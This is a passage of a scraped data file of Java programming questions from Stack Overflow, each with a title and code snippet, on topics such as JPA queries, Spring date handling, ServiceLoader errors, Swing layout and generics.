to be played using the same instance of the hash-map . Too much memory would be taken when adding more games , making narrowing down on the possible words therefor impossible . Trie - Implement a RadixTree & You can see my implementation here.2.1 initialize speed : slow to read each word into the RadixTree with 47 seconds.2.2 ram usage : uses significant amount of ram , so much that Android is suspending threads a couple of times.2.3 search speed : Finding if a word existed in the list was quick.2.4 narrowing down on possible words ( optional ) : Ultra fast since only a reference to a node in the tree is needed to then find all possible words as its children . You can play a lot of games with narrowing down the possible words since an extra game requires only a reference to a node in the tree ! Scanner - Go through the word-file sequentially3.1 initialize speed : none.3.2 ram usage : none.3.3 search speed : about 20 seconds.3.4 narrowing down on possible words ( optional ) : ca n't be done realistically.simple code : Options I thought of : Long-binary-search-tree : Converting the word-list to a list of longs then reading these in and doing a binary search on them.1.1 initialize speed : probably the same as a hash-map or little less with about 20 seconds . However I hope calling Array.sort ( ) does not take too much time , no idea as of yet.1.2 ram usage : if you only account 12 letter words or lower with a 26 letter alphabet you need 5 bits ( 2^5= 32 ) to encode a string . An array of longs would need then 250,000*8 bits = around 2mb . Which is not too much . 1.3 search speed : Arrays.binarySearch ( ) 1.4 narrowing down on possible words ( optional ) : Narrowing down on possible words could be possible but I am not sure how . According to a comment on this post.Hashmap with storage - Creating a hashfunction that maps a word to an index number of the word-list file . Then accessing the file at this specific location and look from here to find if a word exists . You can make use of the ordering of the alphabet to determine if you can still find the word since the word-list is in natural order.2.1 initialize speed : not needed ( since I need to put every word at the right index beforehand . ) 2.2 ram usage : none.2.3 search speed : fast.2.4 narrowing down on possible words ( optional ) : not possible.Specific questions I haveAre the options I have thought of in the `` Options I have thought of '' section viable options or are there things I missed yet which would make them not possible to implement ? Are there options I have not thought of which are better/equal in performance ? End remarksI have been stuck at this for about a week now . So any new ideas are more than welcome . If any of my assumption above are incorrect I would also be pleased to hear about them . I made this post this way so others could learn from them as well , either by seeing my mistakes or seeing what does work in the answers .",String word ; String wordToFind = `` example '' ; boolean foundWord = false ; while ( wordFile.hasNextLine ( ) ) { word = wordFile.nextLine ( ) ; if ( word.equals ( wordToFind ) ) { foundWord = true ; break ; } } test.close ( ) ;,How to find a word in large word list ( vocabulary ) with descent memory consumption and look-up time ? +Java,"I have a gigantic entity and I 'd like to load its subset ( ID and baz property ) : I tried using following JPA query , but baz property will be null : I tried adding an explicit join , but it resulted in null as well : If I only select my gigantic entity like this then everything works ( but I am trying to save some joins ) : Is this achievable with JPA ? I am using Hibernate as its implementation.EDIT : Query actually needs to be LEFT JOIN , so I need all gigantic entites with baz-es .","@ Entitypublic class GiganticEntity { @ Id Long id ; @ OneToOne ( mappedBy = `` giganticEntity '' ) Foo foo ; @ OneToOne ( mappedBy = `` giganticEntity '' ) Bar bar ; @ OneToOne ( mappedBy = `` giganticEntity '' ) Baz baz ; // default constructor + getters/setters public GiganticEntity ( Long id , Baz baz ) { this.id = id ; this.baz = baz ; } } `` SELECT new package.GiganticEntity ( ge.id , ge.baz ) `` + '' FROM GiganticEntity ge WHERE ge.id = 1 '' ; `` SELECT new package.GiganticEntity ( ge.id , b ) FROM GiganticEntity ge `` + `` LEFT JOIN ge.baz as b `` + `` WHERE ge.id = 1 '' ; `` SELECT GiganticEntity g WHERE g.id = 1 '' ;",JPA : Selecting subset of entity wo n't load @ OneToOne property +Java,"I know this may be an obvious question , but I am looking at this code : And am curious what this does - the Date class has six different constructors , and only one can take a single argument of long , like so : which : Allocates a Date object and initializes it to represent the specified number of milliseconds since the standard base time known as `` the epoch '' , namely January 1 , 1970 , 00:00:00 GMT.So is -1 just a placeholder ? I appreciate any tips or advice .",private Date lastActivity = new Date ( -1 ) ; public Date ( long date ),Why would you instantiate a Date with -1 as the argument ? +Java,"I 'm having a problem with spring data rest when I 'm handling dates . In a brief , it is delaying the date in one day . For example , if I have 1111-11-11 it returns to me 1111-11-10.There are some related post here in SO ( ex1 , ex2 , ex3 ) , but none of them solved the problem.I have an entity with this LocalDate : I also have this repository : When I save the birthDate in the database ( I 'm using MySQL ) , it saves correctly . However , when I make this query , for example : The date is fetched with one day late ( just like in the example above ) .I tried to implement this suggestion , that is , change the LocalDate to Date and include the Jackson annotation , but it does n't work . I also tried to include the jackson-modules-java8 , but the problem still.Now the most intriguing thing . As I was just testing I was including the date 1111-11-11 . I changed that for today 's date 2019-02-06 . Then , the fetch works ! At this time , I think if it was a problem with very old dates . Thus , I tried , for example , 1970-01-01 , and the spring returned 1969-12-31 . I realized that if I include in the database dates above 1986-01-01 everything works fine . However , if I include anything below that , I got the date one day late.Is someone has some hint about this issue ? Thank you for your time ! EDIT : I also checked my database timezone and it 's ok !","@ Column ( nullable=true ) private LocalDate birthDate ; @ RepositoryRestResource ( collectionResourceRel = `` person '' , path = `` person '' ) public interface PersonRepository extends PagingAndSortingRepository < Person , Long > { } Person p = personRepo.findById ( 1L ) .get ( ) ; + -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -+ -- -- -- -- -- -- -- -- -- -- +| @ @ GLOBAL.time_zone | @ @ session.time_zone | @ @ system_time_zone |+ -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -+ -- -- -- -- -- -- -- -- -- -- +| SYSTEM | SYSTEM | -02 |+ -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -+ -- -- -- -- -- -- -- -- -- -- +1 row in set ( 0,00 sec )",Date issue in spring boot data rest +Java,"I want to position 10 JPanels in a Circle . Every Panel has the same size and the length between two Panels should be the same . So the easiest way i thought is to grab a null-Layout and compute the bounding box by hand via polarcoordiantes : But that doesnt work ! Some items are on the circle , some of them are pixels off ... i have a bsolutly no idea why ? ! I also cant find a LayoutManager that can do that for me , so what to do ?","JPanel panel = new JPanel ( null ) ; int r = 100 ; int phi = 90 ; for ( int i = 0 ; i < 10 ; i++ ) { JPanel x = new JPanel ( ) ; x.setBackground ( Color.red ) ; x.setBounds ( ( int ) ( r * Math.sin ( phi ) ) + 100 , ( int ) ( r * Math.cos ( phi ) ) + 100 , 4 , 4 ) ; panel.add ( x ) ; phi = ( phi + 36 ) % 360 ; }",position Components in Circle +Java,"I am trying to run a job in Spring-XD , located under the following path : My jar , located under MyJobName/lib , contains in its root path the file logback.xml . Unfortunately , Spring-XD seems to be completely ignoring that file . When I run the job through my IDE ( IntelliJ ) , the logging works fine , but when I run it using Spring-XD it completely ignores my SiftingAppender.Here is what my logback.xml file looks like : I want to put this logback.xml file under /spring-xd/xd/config , or under another configuration folder , but nothing I try works . I tried looking through the Spring-XD docs , but found nothing.Any insight would be appreciated .",/spring-xd/xd/modules/job/MyJobName ( I 'll call this path MyJobName below ) < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < configuration > < appender name= '' CONSOLE '' class= '' ch.qos.logback.core.ConsoleAppender '' > < encoder > < pattern > % 5p % -25logger { 25 } % m % n < /pattern > < /encoder > < /appender > < appender name= '' SIFT '' class= '' ch.qos.logback.classic.sift.SiftingAppender '' > < discriminator > < key > publication.run.id < /key > < defaultValue > unknown < /defaultValue > < /discriminator > < sift > < appender name= '' FILE- $ { publication.run.id } '' class= '' ch.qos.logback.core.FileAppender '' > < file > /data/ $ { publication.run.id } /logs/process.log < /file > < append > true < /append > < layout class= '' ch.qos.logback.classic.PatternLayout '' > < pattern > % 5p % -25logger { 25 } % m % n < /pattern > < /layout > < /appender > < /sift > < /appender > < logger name= '' com.bitwiseor '' > < level value= '' INFO '' / > < /logger > < logger name= '' org.springframework '' > < level value= '' INFO '' / > < /logger > < root > < level value= '' INFO '' / > < appender-ref ref= '' SIFT '' / > < appender-ref ref= '' CONSOLE '' / > < /root > < /configuration >,Spring-XD does not read logback.xml +Java,"I 'm asking because I 'm totally not sure I 've done the right thing . I 'm using Eclipse for a web project . Let 's call it WebProject ( duh ) in the package com.web.project.I want WebProject to load JAR plugins at runtime , so I thought I could take advantage of java.util.ServiceLoader . So I created an interface com.web.project.WebProjectPlugin in the WebProject project with all the methods the plugins must implement.Then I created the project PluginProject , adding WebProbject/build/classes in its Build path as a class folder : Then I created a META-INF/services folder in the plugin project , put the text file com.web.project.WebProjectPlugin inside , containing the sole line `` com.web.project.plugin.TestPlugin '' .I exported the JAR file checking out the added build/classes folder and put it somewhere in the hard drive . When WebProject starts up , it does the following : pluginsDir is a File object pointing to the directory the JAR file is in . At first it seems that srvl does its job , since iter is n't empty , but then it throws the dreaded NoClassDefFoundError when it reaches iter.next ( ) .I 've already managed to create a plugin manager project to test ServiceLoader , and it runs just fine , but it 's a plain console Java application , not a web project . So , what am I doing wrong here ? I 'm a little puzzled : how can it not find the class definition for com.web.project.WebProjectPlugin , since it 's in the same project that is running ? Has that something to do with the URLClassLoader object I 'm using ? This is the stack trace .","package com.web.project.plugin ; import com.web.project.WebProjectPlugin ; public class TestPlugin implements WebProjectPlugin { // Implementation of the interface methods ... } File [ ] jlist = pluginsDir.listFiles ( new FileFilter ( ) { public boolean accept ( File file ) { return file.getPath ( ) .toLowerCase ( ) .endsWith ( `` .jar '' ) ; } } ) ; URL [ ] urls = new URL [ jlist.length ] ; for ( int i = 0 ; i < jlist.length ; i++ ) urls [ i ] = jlist [ i ] .toURI ( ) .toURL ( ) ; URLClassLoader ucl = new URLClassLoader ( urls ) ; ServiceLoader < WebProjectPlugin > srvl = ServiceLoader.load ( WebProjectPlugin.class , ucl ) ; Iterator < WebProjectPlugin > iter = srvl.iterator ( ) ; while ( iter.hasNext ( ) ) { WebProjectPlugin plugin = iter.next ( ) ; plugins.add ( plugin ) ; }",ServiceLoader.next causing a NoClassDefFoundError +Java,"the following code : compiled in eclipse but fails to compile in sun/oracle compiler : This happened because of the comma after MinTimeDoubleCoListConstraintValidator.class , .when I removed the comma it works fine : I am using jdk 1.6.0.10.Do you know why this is illegal and compiling in eclipse ?","@ Retention ( RetentionPolicy.RUNTIME ) @ Target ( { ElementType.METHOD , ElementType.FIELD , ElementType.ANNOTATION_TYPE } ) @ Constraint ( validatedBy = { MinTimeIntCoConstraintValidator.class , MinTimeIntCoListConstraintValidator.class , MinTimeDoubleCoConstraintValidator.class , MinTimeDoubleCoListConstraintValidator.class , } ) @ Documentedpublic @ interface MinTimeValueCo { int value ( ) ; String message ( ) default `` value does not match minimum requirements '' ; Class < ? > [ ] groups ( ) default { } ; Class < ? extends Payload > [ ] payload ( ) default { } ; } > MinTimeValueCo.java:19 : illegal start of expression > [ javac ] } ) > [ javac ] ^ > [ javac ] 1 error @ Constraint ( validatedBy = { MinTimeIntCoConstraintValidator.class , MinTimeIntCoListConstraintValidator.class , MinTimeDoubleCoConstraintValidator.class , MinTimeDoubleCoListConstraintValidator.class } )",why is this code not compiling with javac but has no errors in eclipse ? +Java,"I 've tried this StackOverflow answer 's code , but I get the error Can not infer type argument ( s ) for < R > map ( Function < ? super T , ? extends R > ) :",//data is int [ ] [ ] Arrays.stream ( data ) .map ( i - > Arrays.stream ( i ) .collect ( Collectors.toList ( ) ) ) .collect ( Collectors.toList ( ) ) ;,How can I convert a 2D array to a 2D list with Streams ? +Java,"I am struggling with configuration of project.xml of android project . I want to follow the coding style mentioned in this file and I do n't want Android Studio to add any stuff in this file itself.ProblemWhile working on the project Android studio add following lines in itself.Is there any way that I can prevent android studio from adding these lines ? I have tried different methods to do that but unable to produces the desire results.This is the actual project.xml file that I want to followAny help will be appreciated , Thanks !",< option name= '' PACKAGES_TO_USE_STAR_IMPORTS '' > < value > < package name= '' java.util '' alias= '' false '' withSubpackages= '' false '' / > < package name= '' kotlinx.android.synthetic '' alias= '' false '' withSubpackages= '' true '' / > < package name= '' io.ktor '' alias= '' false '' withSubpackages= '' true '' / > < /value > < /option > < option name= '' PACKAGES_IMPORT_LAYOUT '' > < value > < package name= '' '' alias= '' false '' withSubpackages= '' true '' / > < package name= '' java '' alias= '' false '' withSubpackages= '' true '' / > < package name= '' javax '' alias= '' false '' withSubpackages= '' true '' / > < package name= '' kotlin '' alias= '' false '' withSubpackages= '' true '' / > < package name= '' '' alias= '' true '' withSubpackages= '' true '' / > < /value > < /option > < component name= '' ProjectCodeStyleConfiguration '' > < code_scheme name= '' Project '' version= '' 173 '' > < option name= '' RIGHT_MARGIN '' value= '' 150 '' / > < DBN-PSQL > < case-options enabled= '' true '' > < option name= '' KEYWORD_CASE '' value= '' lower '' / > < option name= '' FUNCTION_CASE '' value= '' lower '' / > < option name= '' PARAMETER_CASE '' value= '' lower '' / > < option name= '' DATATYPE_CASE '' value= '' lower '' / > < option name= '' OBJECT_CASE '' value= '' preserve '' / > < /case-options > < formatting-settings enabled= '' false '' / > < /DBN-PSQL > < DBN-SQL > < case-options enabled= '' true '' > < option name= '' KEYWORD_CASE '' value= '' lower '' / > < option name= '' FUNCTION_CASE '' value= '' lower '' / > < option name= '' PARAMETER_CASE '' value= '' lower '' / > < option name= '' DATATYPE_CASE '' value= '' lower '' / > < option name= '' OBJECT_CASE '' value= '' preserve '' / > < /case-options > < formatting-settings enabled= '' false '' > < option name= '' STATEMENT_SPACING '' value= '' one_line '' / > < option name= '' CLAUSE_CHOP_DOWN '' value= '' chop_down_if_statement_long '' / > < option name= '' ITERATION_ELEMENTS_WRAPPING '' value= '' chop_down_if_not_single '' / > < /formatting-settings > < /DBN-SQL > < JetCodeStyleSettings > < option name= '' NAME_COUNT_TO_USE_STAR_IMPORT '' value= '' 2147483647 '' / > < option name= '' NAME_COUNT_TO_USE_STAR_IMPORT_FOR_MEMBERS '' value= '' 2147483647 '' / > < option name= '' CODE_STYLE_DEFAULTS '' value= '' KOTLIN_OFFICIAL '' / > < /JetCodeStyleSettings > < codeStyleSettings language= '' XML '' > < option name= '' RIGHT_MARGIN '' value= '' 300 '' / > < indentOptions > < option name= '' CONTINUATION_INDENT_SIZE '' value= '' 4 '' / > < /indentOptions > < arrangement > < rules > < section > < rule > < match > < AND > < NAME > xmlns : android < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > ^ $ < /XML_NAMESPACE > < /AND > < /match > < /rule > < /section > < section > < rule > < match > < AND > < NAME > xmlns : . * < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > ^ $ < /XML_NAMESPACE > < /AND > < /match > < order > BY_NAME < /order > < /rule > < /section > < section > < rule > < match > < AND > < NAME > . * : id < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > http : //schemas.android.com/apk/res/android < /XML_NAMESPACE > < /AND > < /match > < /rule > < /section > < section > < rule > < match > < AND > < NAME > . * : name < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > http : //schemas.android.com/apk/res/android < /XML_NAMESPACE > < /AND > < /match > < /rule > < /section > < section > < rule > < match > < AND > < NAME > name < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > ^ $ < /XML_NAMESPACE > < /AND > < /match > < /rule > < /section > < section > < rule > < match > < AND > < NAME > style < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > ^ $ < /XML_NAMESPACE > < /AND > < /match > < /rule > < /section > < section > < rule > < match > < AND > < NAME > . * < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > ^ $ < /XML_NAMESPACE > < /AND > < /match > < order > BY_NAME < /order > < /rule > < /section > < section > < rule > < match > < AND > < NAME > . * < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > http : //schemas.android.com/apk/res/android < /XML_NAMESPACE > < /AND > < /match > < order > ANDROID_ATTRIBUTE_ORDER < /order > < /rule > < /section > < section > < rule > < match > < AND > < NAME > . * < /NAME > < XML_ATTRIBUTE / > < XML_NAMESPACE > . * < /XML_NAMESPACE > < /AND > < /match > < order > BY_NAME < /order > < /rule > < /section > < /rules > < /arrangement > < /codeStyleSettings > < codeStyleSettings language= '' kotlin '' > < option name= '' CODE_STYLE_DEFAULTS '' value= '' KOTLIN_OFFICIAL '' / > < option name= '' FIELD_ANNOTATION_WRAP '' value= '' 0 '' / > < /codeStyleSettings > < /code_scheme > < /component >,Android Studio codestyles/Project.xml Configuration +Java,This program gives output -Should n't it give output -since first a.i should print 1 and then a.getI ( ) executes and should print A 2,A 1 2 1 A 2 public class A1 { int i=1 ; public int getI ( ) { System.out.print ( `` A `` ) ; return i+1 ; } public static void main ( String args [ ] ) { A1 a=new A1 ( ) ; System.out.print ( a.i+ '' `` +a.getI ( ) ) ; } },print 's order of execution +Java,"I use spring security in my project.I have feature to change login . To achieve this aim I use following codeBut now I am resesarching this code in details and see that authentication field is not volatile thus visibility is not guaranteed : Should I wrap my code with my own synchronization to achieve visibility ? P.S.I have read https : //stackoverflow.com/a/30781541/2674303 In an application which receives concurrent requests in a single session , the same SecurityContext instance will be shared between threads . Even though a ThreadLocal is being used , it is the same instance that is retrieved from the HttpSession for each thread . This has implications if you wish to temporarily change the context under which a thread is running . If you just use SecurityContextHolder.getContext ( ) , and call setAuthentication ( anAuthentication ) on the returned context object , then the Authentication object will change in all concurrent threads which share the same SecurityContext instance . You can customize the behaviour of SecurityContextPersistenceFilter to create a completely new SecurityContext for each request , preventing changes in one thread from affecting another . Alternatively you can create a new instance just at the point where you temporarily change the context . The method SecurityContextHolder.createEmptyContext ( ) always returns a new context instance.but I do n't understand how spring does guaranties visibility . There are just written that each thread within session will see changes . but there is no answer how fast ? and more important - visibility mechanism is not explained",Authentication authentication = ... SecurityContextHolder.getContext ( ) .setAuthentication ( authentication ) ; public class SecurityContextImpl implements SecurityContext { private static final long serialVersionUID = SpringSecurityCoreVersion.SERIAL_VERSION_UID ; // ~ Instance fields // ================================================================================================ private Authentication authentication ;,Does SecurityContext # setAuthentication guaranties visibility ? +Java,"What I want to do , is draw a cutout of an image to screen , at the position of my choosing.I can quite easily load this into a bitmap . and then draw a subsection.But when the image is big , this will obviously exhaust memory.My screen is a surfaceview . So has a canvas etc.So how can I draw part of an image , at a given offset , and resized . Without loading the origional to memoryI found an answer that looked along the right lines , but it does n't work properly . With the use of drawables from file . Code attempt below . Aside from the random resizes it produces , it is also incomplete.Example :","Drawable img = Drawable.createFromPath ( Files.SDCARD + image.rasterName ) ; int drawWidth = ( int ) ( image.GetOSXWidth ( ) / ( maxX - minX ) ) * m_canvas.getWidth ( ) ; int drawHeight = ( int ) ( image.GetOSYHeight ( ) / ( maxY - minY ) ) * m_canvas.getHeight ( ) ; // Calculate what part of image I need ... img.setBounds ( 0 , 0 , drawWidth , drawHeight ) ; // apply canvas matrix to move before draw ... ? img.draw ( m_canvas ) ;",Draw part of image to screen ( without loading all to memory ) +Java,"I have a Tomcat 7 , Spring 4.2 'RestController ' implementation of REST API which seems to produce 'ERR_INVALID_CHUNKED_ENCODING ' for few API calls on returning a JSON response.It is the same code that creates a ResponseEntity . But for few API calls the `` Content-Length '' is set properly and other calls the `` Transfer-Encoding '' is set as Chunked.The weird part is the response for the same API call that creates ERR_INVALID_CHUNKED_ENCODING seems to work fine in another environment . The only difference is the client and service is running in the same server in the problematic scenario.The solution already tried is to set the Content-Length manually which seems to result to premature end of file on the client.The JSON length is only around 468 characters but client receives only 409 characters , even though server logs shows that the full response has been sent and connection is closed.We are so lost at the solution for this problem because it is the same code acting strangely in different environment.I tried to check the compression settings in server.xml on both the tomcat.But everything looks fine.Also disabled the proxy setting in both IE and chrome.Any helpful inputs or insights would be really good ? Thanks in advance .",private CacheControl cacheControl = CacheControl.noStore ( ) .mustRevalidate ( ) ; protected < T > ResponseEntity < TNRestResponse < T > > createEntity ( TNRestResponse < T > res ) { return ResponseEntity.ok ( ) .cacheControl ( cacheControl ) .body ( res ) ; },"Tomcat 7 , Spring rest template application producing err_invalid_chunked_encoding in browser" +Java,"I am using singleton database connection inside my java application , here is code of my connection manager class : The problem is my code work perfect at the start but when time past it becomes really slow . What caused that problem and how can i fix that ? At starting time my application handles around 20 queries per second , after 1 hour of running it reaches to 10 queries per second and after 3 days of running it reaches to 1 query per 10 seconds ! ! P.S : My application is a single user application that makes many queries through database.P.S : Here is my JVM parameters in eclipse.ini : Unfortunately database is remote and I have not any monitoring access to it for finding out what is going on there.Here is the example of my usage :","public abstract class DatabaseManager { //Static instance of connection , only one will ever exist private static Connection connection = null ; private static String dbName= '' SNfinal '' ; //Returns single instance of connection public static Connection getConnection ( ) { //If instance has not been created yet , create it if ( DatabaseManager.connection == null ) { initConnection ( ) ; } return DatabaseManager.connection ; } //Gets JDBC connection instance private static void initConnection ( ) { try { Class.forName ( `` com.microsoft.sqlserver.jdbc.SQLServerDriver '' ) ; String connectionUrl = `` jdbc : sqlserver : //localhost:1433 ; '' + `` databaseName= '' +dbName+ '' ; integratedSecurity=true '' ; DatabaseManager.connection = DriverManager.getConnection ( connectionUrl ) ; } catch ( ClassNotFoundException e ) { System.out.println ( e.getMessage ( ) ) ; System.exit ( 0 ) ; } catch ( SQLException e ) { System.out.println ( e.getMessage ( ) ) ; System.exit ( 0 ) ; } catch ( Exception e ) { } } public static ResultSet executeQuery ( String SQL , String dbName ) { ResultSet rset = null ; try { Statement st = DatabaseManager.getConnection ( ) .createStatement ( ResultSet.TYPE_SCROLL_INSENSITIVE , ResultSet.CONCUR_READ_ONLY ) ; rset = st.executeQuery ( SQL ) ; //st.close ( ) ; } catch ( SQLException e ) { System.out.println ( e.getMessage ( ) ) ; System.exit ( 0 ) ; } return rset ; } public static void executeUpdate ( String SQL , String dbName ) { try { Statement st = DatabaseManager.getConnection ( ) .createStatement ( ) ; st.executeUpdate ( SQL ) ; st.close ( ) ; } catch ( SQLException e ) { System.out.println ( e.getMessage ( ) ) ; System.exit ( 0 ) ; } } } -- launcher.XXMaxPermSize512M-showsplashorg.eclipse.platform -- launcher.XXMaxPermSize512m -- launcher.defaultActionopenFile -- launcher.appendVmargs-vmargs-Dosgi.requiredJavaVersion=1.6-Xms500m-Xmx4G-XX : MaxHeapSize=4500m String count= '' select count ( * ) as counter from TSN '' ; ResultSet rscount=DatabaseManager.executeQuery ( count , `` SNfinal '' ) ; if ( rscount.next ( ) ) { numberofNodes=rscount.getInt ( `` counter '' ) ; }",Traditional DB singleton connection works poorly +Java,"My engine is executing 1,000,000 of simulations on X deals . During each simulation , for each deal , a specific condition may be verified . In this case , I store the value ( which is a double ) into an array . Each deal will have its own list of values ( i.e . these values are indenpendant from one deal to another deal ) .At the end of all the simulations , for each deal , I run an algorithm on his List < Double > to get some outputs . Unfortunately , this algorithm requires the complete list of these values , and thus , I am not able to modify my algorithm to calculate the outputs `` on the fly '' , i.e . during the simulations.In `` normal '' conditions ( i.e . X is low , and the condition is verified less than 10 % of the time ) , the calculation ends correctly , even if this may be enhanced.My problem occurs when I have many deals ( for example X = 30 ) and almost all of my simulations verify my specific condition ( let say 90 % of simulations ) . So just to store the values , I need about 900,000 * 30 * 64bits of memory ( about 216Mb ) . One of my future requirements is to be able to run 5,000,000 of simulations ... So I ca n't continue with my current way of storing the values . For the moment , I used a `` simple '' structure of Map < String , List < Double > > , where the key is the ID of the element , and List < Double > the list of values.So my question is how can I enhance this specific part of my application in order to reduce the memory usage during the simulations ? Also another important note is that for the final calculation , my List < Double > ( or whatever structure I will be using ) must be ordered . So if the solution to my previous question also provide a structure that order the new inserted element ( such as a SortedMap ) , it will be really great ! I am using Java 1.6.Edit 1My engine is executing some financial calculations indeed , and in my case , all deals are related . This means that I can not run my calculations on the first deal , get the output , clean the List < Double > , and then move to the second deal , and so on.Of course , as a temporary solution , we will increase the memory allocated to the engine , but it 's not the solution I am expecting ; ) Edit 2Regarding the algorithm itself . I ca n't give the exact algorithm here , but here are some hints : We must work on a sorted List < Double > . I will then calculate an index ( which is calculated against a given parameter and the size of the List itself ) . Then , I finally return the index-th value of this List.I hope it will help to have such information now ... Edit 3Currently , I will not consider any hardware modification ( too long and complicated here : ( ) . The solution of increasing the memory will be done , but it 's just a quick fix.I was thinking of a solution that use a temporary file : Until a certain threshold ( for example 100,000 ) , my List < Double > stores new values in memory . When the size of List < Double > reaches this threshold , I append this list in the temporary file ( one file per deal ) .Something like that : At the end of the whole calculation , for each deal , I will reconstruct the complete List < Double > from what I have in memory and also in the temporary file . Then , I run my algorithm . I clean the values for this deal , and move to the second deal ( I can do that now , as all the simulations are now finished ) .What do you think of such solution ? Do you think it is acceptable ? Of course I will lose some time to read and write my values in an external file , but I think this can be acceptable , no ?","public static double algo ( double input , List < Double > sortedList ) { if ( someSpecificCases ) { return 0 ; } // Calculate the index value , using input and also size of the sortedList ... double index = ... ; // Specific case where I return the first item of my list . if ( index == 1 ) { return sortedList.get ( 0 ) ; } // Specific case where I return the last item of my list . if ( index == sortedList.size ( ) ) { return sortedList.get ( sortedList.size ( ) - 1 ) ; } // Here , I need the index-th value of my list ... double val = sortedList.get ( ( int ) index ) ; double finalValue = someBasicCalculations ( val ) ; return finalValue ; } public void addNewValue ( double v ) { if ( list.size ( ) == 100000 ) { appendListInFile ( ) ; list.clear ( ) ; } list.add ( v ) ; }",How to store millions of Double during a calculation ? +Java,"Consider this code ( complete class , runs fine , all classes in one class for the sake of brevity ) .My questions are after the code listing : Questions : From the compilers point of view , what is the origin of the switchon method in Smartphone ? Is it inherited from the base class Gadget ? Or is it an implementation of the switchon method mandated by the switchonable interface ? Does the annotation make any difference here ? In the main method , first loop : Here , we see a case of runtime polymorphism - i.e. , when the first for loop is running , and gadget.switchon ( ) is called , it first prints `` Gadget is switching on '' , and then it prints `` Smartphone is switching on '' . But in the second loop , this runtime resolution does not happen , and the output for both calls to demo is `` Demoing a gadget '' , whereas I was expecting it to print `` Demoing a gadget '' the first iteration , and `` Demoing a smartphone '' the second time.What am I understanding wrong ? Why does the runtime resolve the child class in the first for loop , but does n't do so in the second for loop ? Lastly , a link to a lucid tutorial on runtime/compile-time polymorphism in Java will be appreciated . ( Please do not post the Java tutorial trail links , I did n't find the material particularly impressive when discussing the finer nuances in respectable depth ) .",import java.util.LinkedList ; import java.util.List ; class Gadget { public void switchon ( ) { System.out.println ( `` Gadget is Switching on ! `` ) ; } } interface switchonable { void switchon ( ) ; } class Smartphone extends Gadget implements switchonable { @ Override public void switchon ( ) { System.out.println ( `` Smartphone is switching on ! `` ) ; } } class DemoPersonnel { public void demo ( Gadget g ) { System.out.println ( `` Demoing a gadget '' ) ; } public void demo ( Smartphone s ) { System.out.println ( `` Demoing a smartphone '' ) ; } } public class DT { /** * @ param args */ public static void main ( String [ ] args ) { List < Gadget > l = new LinkedList < Gadget > ( ) ; l.add ( new Gadget ( ) ) ; l.add ( new Smartphone ( ) ) ; for ( Gadget gadget : l ) { gadget.switchon ( ) ; } DemoPersonnel p = new DemoPersonnel ( ) ; for ( Gadget gadget : l ) { p.demo ( gadget ) ; } } },Confusing polymorphism in Java +Java,I stumbled across an issue using invokeAndWait . The example code below illustrates the issue . Can anyone elaborate on whats happening ? Why the lambda expression hangs while the anonymous inner class and method ref doesn't.The Print class :,public class Test { // A normal ( non-static ) initializer does not have the problem static { try { System.out.println ( `` initializer start '' ) ; // -- - Works System.out.println ( `` \nanonymous inner-class : Print.print '' ) ; EventQueue.invokeAndWait ( new Runnable ( ) { @ Override public void run ( ) { Print.print ( ) ; } } ) ; // -- - Works System.out.println ( `` \nmethod ref : Print.print '' ) ; EventQueue.invokeAndWait ( Print : :print ) ; // -- - Hangs forever System.out.println ( `` \nlambda : Print.print '' ) ; EventQueue.invokeAndWait ( ( ) - > Print.print ( ) ) ; System.out.println ( `` \ninitializer end '' ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } public static void main ( String [ ] args ) { new Test ( ) ; } } public class Print { public static void print ( ) { System.out.println ( `` Print.print '' ) ; } },invokeAndWait with lambda expression hangs forever in static initializer +Java,"I 'm following this : http : //rickyclarkson.blogspot.com/2006/07/duck-typing-in-java-and-no-reflection.htmlAnd I 'm trying to adapt this : To this : Even though MyWaterFowl implements those interfaces.I 'd like a solution that never mentions MyWaterFowl in the < > 's since I 'm going to eventually just be injecting it ( or anything else that implements those interfaces ) .If your answer is basically `` You ca n't do that , what type would it even be ? '' . Please explain why it 's working for the method doDucklikeThings and conclusively state if it is impossible to do the same with a class or , if it is possible , how to do it.The T in doDucklikeThings must be something valid since it 's working . If I passed that into a class what would I be passing in ? As requested here 's the MyWaterFowl code : Remember I 've confirmed that doDucklikeThings works . I need the syntax that will let me inject anything that implements the required interfaces .","< T extends CanQuack & CanWalk > void doDucklikeThings ( T t ) { t.quack ( ) ; t.walk ( ) ; } public class Activate < D extends CanQuack & CanWalk > { D d = new MyWaterFowl ( ) ; //Type mismatch } package singleResponsibilityPrinciple ; interface CanWalk { public void walk ( ) ; } interface CanQuack { public void quack ( ) ; } interface CanSwim { public void swim ( ) ; } public class MyWaterFowl implements CanWalk , CanQuack , CanSwim { public void walk ( ) { System.out.println ( `` I 'm walkin ` here ! `` ) ; } public void quack ( ) { System.out.println ( `` Quack ! `` ) ; } public void swim ( ) { System.out.println ( `` Stroke ! Stroke ! Stroke ! `` ) ; } }",Java generics seem to work differently for classes than for methods +Java,"ArrayList # get , set and remove call the rangeCheck method at first . This method does not check if the index is negative . It only checks if the index is greater than or equal to the length of the array . Javadoc explains the reason ; an array access throws an ArrayIndexOutOfBoundsException if index is negative.According to Java Langauage Specification , an array access throws an ArrayIndexOutOfBoundsException if index is not only negative but also gte . All array accesses are checked at run time ; an attempt to use an index that is less than zero or greater than or equal to the length of the array causes an ArrayIndexOutOfBoundsException to be thrown.I think that rangeCheck should check both negative and gte or , for performance , should check neither.Why does not rangeCheck check if the index is negative ?",private void rangeCheck ( int index ) { if ( index > = size ) throw new IndexOutOfBoundsException ( outOfBoundsMsg ( index ) ) ; } public E get ( int index ) { rangeCheck ( index ) ; return elementData ( index ) ; },Why does ArrayList # rangeCheck not check if the index is negative ? +Java,"I was just looking through the implementation of Java 's String class and the following struck me as odd : This could easily be implemented with just one counting variable while n would be effectively final , like this : Theres also this , which gets rid of the i entirely : Does it have 